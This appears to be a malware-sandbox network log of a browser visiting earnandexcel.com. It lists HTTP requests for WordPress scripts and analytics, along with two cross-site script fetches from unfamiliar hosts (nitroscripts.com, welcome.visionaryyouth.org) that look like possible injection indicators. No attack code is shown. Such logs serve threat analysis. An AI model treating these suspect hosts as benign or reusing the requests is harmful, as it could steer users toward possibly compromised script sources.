Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/assets/js/headroom.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga=GA1.1.668614997.1712870801
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/assets/libs/smooth-scroll-for-web/SmoothScroll.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga=GA1.1.668614997.1712870801; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/assets/libs/lightGallery/js/lightgallery-all.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga=GA1.1.668614997.1712870801; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/elementor/assets/lib/waypoints/waypoints.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga=GA1.1.668614997.1712870801; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/assets/libs/powertip/js/jquery.powertip.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga=GA1.1.668614997.1712870801; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/assets/libs/smooth-scroll/jquery.smooth-scroll.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga=GA1.1.668614997.1712870801; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/imagesloaded.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga=GA1.1.668614997.1712870801; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/assets/libs/swiper/js/swiper.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga=GA1.1.668614997.1712870801; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0
Source: global traffic	HTTP traffic detected: GET /c/hotjar-2832943.js?sv=6 HTTP/1.1Host: static.hotjar.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/assets/js/swiper-wrapper.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga=GA1.1.668614997.1712870801; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/assets/libs/matchHeight/jquery.matchHeight-min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga=GA1.1.668614997.1712870801; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802
Source: global traffic	HTTP traffic detected: GET /pduMCfIcykwhScUJcEDohxbyURefMehM HTTP/1.1Host: nitroscripts.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/assets/libs/isotope/js/isotope.pkgd.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga=GA1.1.668614997.1712870801; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/assets/libs/packery-mode/packery-mode.pkgd.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga=GA1.1.668614997.1712870801; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/assets/js/grid-layout.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga=GA1.1.668614997.1712870801; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/elementor-pro/assets/lib/smartmenus/jquery.smartmenus.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga=GA1.1.668614997.1712870801; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/assets/libs/growl/js/jquery.growl.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga=GA1.1.668614997.1712870801; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/assets/libs/perfect-scrollbar/js/perfect-scrollbar.jquery.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga=GA1.1.668614997.1712870801; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802
Source: global traffic	HTTP traffic detected: GET /LD3pWFcfijFIH9NqGwTFel4f03pFVZ0hSledIEBejjJbUId6UQ== HTTP/1.1Host: welcome.visionaryyouth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/assets/js/nice-select.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/assets/js/main.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/thrive-visual-editor/thrive-dashboard/js/dist/frontend.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/q2w3-fixed-widget/js/frontend.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/assets/libs/validate/jquery.validate.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/assets/js/login.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/assets/js/tutor/general.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1
Source: global traffic	HTTP traffic detected: GET /j/collect?t=dc&aip=1&_r=3&v=1&_v=j101&tid=UA-190016353-1&cid=668614997.1712870801&jid=175606831&gjid=701670373&_gid=837219450.1712870803&_u=YCDACEABBAAAACAAI~&z=1717519755 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/assets/js/tab-panel.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; 